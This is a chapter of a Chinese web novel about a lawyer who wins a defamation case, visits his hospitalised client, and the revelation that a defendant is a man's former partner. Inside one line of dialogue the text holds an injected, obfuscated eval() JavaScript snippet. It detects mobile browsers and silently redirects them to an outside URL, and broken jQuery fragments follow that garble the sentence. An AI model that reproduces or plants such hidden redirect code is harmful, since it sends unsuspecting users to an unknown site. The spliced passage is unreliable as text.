一审结束,法槌落下的一刻,韩霆已经连着三天没合眼了。
旁听席上的同事都涌上来恭喜他,刑事自诉的诽谤罪本身就难之又难,而韩霆这一仗赢得却相当漂亮,被告席上有六个人,主犯王承和尹浩被判三年,从犯四人被判一到三年不等,总的来说,这是一场完全可以写进法考教材里的胜诉。
散场后已经是晚上八点,他提着公文包走进停车场,不巧见到了李通源,对方站在车前,冷冷地瞧了他一眼,然后径直开车走了。
韩霆单手撑着车门,虽然赢了官司,但是依旧很蛋疼,他的另一个当事人林时据说在收到刀片后从焦虑障碍转为了惊恐症,正在医院里接受治疗,所以缺席了这场庭审。
一个月前,高晟的创始人何季正旁听他们部门绩效考评会,中途出去接了个电话,没过多久就黑着脸回到了会议室,然后二话不说把主持会议的韩霆叫到办公室,拍着桌子骂了个狗血淋头:“客户都收到刀片了,你他妈还有闲功夫开考评会?!李通源的委托不是让你上点心吗?这个case你能做就做,不能做就换人!”
自入行以后,韩霆第一次沉默了,因为他在最开始,确实没有足够重视这件案子。
一方面是因为自诉诽谤罪本来就证据链琐碎,审判标准极高,性价比极低;另一方面则是客户的可信度太低了,他见过太多找他嚷嚷着要起诉诽谤的客户,一开始信誓旦旦说自己绝对没问题,被他几轮追问后就原形毕露,而且就算真的是被泼脏水造了谣言,当事人往往也情绪崩溃、诉求混乱,没办法清晰地提供更多证据,很难配合他完成诉讼。
因此他刚接手案子的时候故意延长了排期,直到被安杰带去苏华,跟林时聊过之后,才慢慢改观,开始认真分析案例。
不过没想到就当他有向法院递交材料时,却出了这么一档子事。
韩霆先是开车回家睡了个够,转天圣诞节起了个大早,买了束花就开车到了林时所在的医院楼下。
站在医院楼下,一旁商店的橱窗上贴着“Merry Christmas”的气球,很有圣诞的氛围,昨晚下了一夜的雪,街上行人寥寥。
他按安杰给的门牌号找到了林时的病房,站在门前敲了敲门,听到房间里一声温和的“请进”,推门而进。
病床上面色温和的男人刚吃完药,正在打吊针,隔着一张茶几,有个沙发,一个身穿黑色毛衣的男人坐在那里削着梨,听到门口的动静,两人不约而同地抬头看了过来。
林时看清来人,惊讶道:“韩律师?”
韩霆关上门,走到病床前,把手里那束康乃馨放在林时的床头柜上:
“最近身体好点了吗?”
“好多了谢谢。”
寒暄了几句,林时提起了昨天的庭审:“我听说我的案子已经胜诉了,这段时间辛苦了。”
韩霆觑了一眼沙发上的李通源,客气地回道:“哪里的话,这是我的职责。不过这个案子确实太特殊了,如果不是黎辛愿意站出来作证,我也没有百分百的把握能赢下这场案子。”
林时立刻面露疑惑,他在医院里接受了一个月的封闭式治疗,探望期也是最近不久才刚放开的,就连李通源也是在不久前才能作为陪护人留在医院里,因此对整个案子的进展几乎一无所知。
韩霆便主动解释:“你住院之后,我收到了一份邮件,那人在邮件里约了我。”
林时上身不禁微微前倾,屏气询问道:“发件人是……”
李通源递给他削好的梨,接话道:“是黎辛。昨天庭审,他出庭了。他承认自己在留学期间为了毕业,随便在网上买了份论文,就提交了。”
林时顿了顿,问道:“他最近还好吗?”
作为一个被抄袭的人,主动询问抄袭者过得好不好,哪怕经验丰富如韩霆也是微微吃了一惊。
不过既然林时主动问了,他便把自己了解的一些内幕告诉了林时:“不太好。他被开除了,他母亲也没留下什么遗产。据说傅家曾经在他母亲的葬礼上出面,原计划是把他带回傅家,但是后来因为这件事,不肯认他了。”
“出庭作证不是有保护隐私的条例?怎么会这样?”
李通源道:“他很早之前就抄袭这件事,公开发声了。”
听到“公开发声”四个字,林时更疑惑了,不确定地重复了一遍:“公开发声?”他抬头看向李通源,后者点了点头。
是的,公开发声。
廖天成和杨思连线后,网络上一部分人对林时的态度虽然已经开始慢慢动摇,但是那篇指控他学术抄袭的帖子尚被炒得甚嚣尘上,因此舆论并没有实质性的转向。
当时廖天成曾放出预告,关于林时被他指控学术抄袭,他会在第二天晚上邀请新的嘉宾进行直播。
这个新嘉宾就是黎辛。
一整场直播共80分钟,黎辛把他抄袭的前因后果和盘托出。
至此,整个舆论风向彻底逆转。
从韩霆口中得知这些,林时眼前浮现出两人半年前匆匆见过的一面,一时间不知道该说些什么。
从门外探头进来一个护士模样的女生,二十岁上下的青涩模样,大概是实习生,轻声提醒道:“探望时间结束喽。”
顺着护士的提醒看了一眼表,韩霆夹着大衣站起身:“时间确实差不多了。林先生安心养病,我会继续跟进案子后续的执行和尾款的结算。两位,后会有期。”
林时拉了拉身旁李通源的衣角:“你替我送送韩律师。”
李通源走到了门口,说:“请吧,韩律师。”
刚要出声婉拒的韩霆:“……谢谢。”
两人出了病房,一前一后上了电梯,没人说话,气氛有些尴尬,韩霆想起一件很微妙的事来:“李先生,这场案子的完整卷宗,我以电子版发你邮箱了。林先生身体也恢复得差不多了,需要尽快看一下,后续我能更快地为他向法院提起民事索赔。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894552|212813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
李通源“嗯”了一声,听不出什么情绪:“我知道。”
电梯刚好抵达一楼,叮的一声脆响,银色的电梯门悄悄向两侧滑开。
“对了,”韩霆迈出电梯前,脚步微微一顿,侧头看了一眼身旁神色冷峻的男人,“卷宗里关于尹浩的背景,我建议您最好在林先生看卷宗的时候,好好沟通一下。毕竟也是十多年前的陈年旧事,我相信他会理解您。”
李通源暗暗捏紧了拳,接着又松开:“好。”
林时的惊恐症虽然已经控制住了,但是还在观察期,至少有半年离不开人。
李通源索性请了个长假,端茶送水,打饭洗衣,俨然一副家属的样子:
“这件案子热度已经过去了,你父母那边,我找人瞒得很严。你放心,他们不知道你住院了。”
林时面色疲惫头大如斗:“绝对不能让他们知道这件事。”
“我会让人加快处理那些负面消息。”李通源忙来忙去,连口水也没来得及喝,嘴唇裂了一道血红色的口子,看起来憔悴得很,其实本来他可以请护工,但是照顾林时这种事他想亲自来。
看林时状态不错,李通源把手里的ipad递给了他。
“这是什么?”
“案子的卷宗。你看看吧,之后还有提起民事索赔的诉讼,韩霆那边需要你配合。”
林时接过ipad,认真看了起来,翻到尹浩的那页时,眉头微微一皱。
李通源在一旁道:“你有什么想问的,都可以问我。”
林时摇了摇头:“没什么,只是很奇怪。我跟这个尹浩八竿子打不着,他怎么会跟我过不去?”
尹浩是YG旗下一款视频软件的大V,主打科技前沿趋势的解读,因为过硬的干货输出屡屡出圈,全网粉丝将近三千万。
王承不过是个小项目的领导。按照一个正常成年人的脑回路来看,哪怕尹浩跟王承有过同窗之谊,也大可不必亲自淌这个浑水。
他又翻了一页,不禁睁大双眼,是几张尹浩录制节目的截图,照片上的男子皮肤很白,清秀而标致,眼珠乌黑。林时吃了一惊,不是他太自恋,只是尹浩的长相看上去,未免跟他也太像了,像到连他本人看了,都有种恍惚的感觉。
“通源,你过来看看,是不是我的错觉,我怎么感觉,尹浩跟我长得这么像?”
李通源后背僵了一下,没动:“我知道。”
林时碎碎念道:“也是,你去庭审过了,肯定见过他……”说着他就翻开了下一页,当看到社会关系那一栏时,林时的话音戛然而止。
只见尹浩的社会关系部分,有一行字映入眼帘:
尹浩与李通源,前任关系。
李通源站起身来,在病房里走来走去,转了两圈,忽然像是决定了什么一样,转身开口——
“——如你所见,上大学的时候,我跟他短暂地交往过一段时间。分手时没有处理好这段关系。”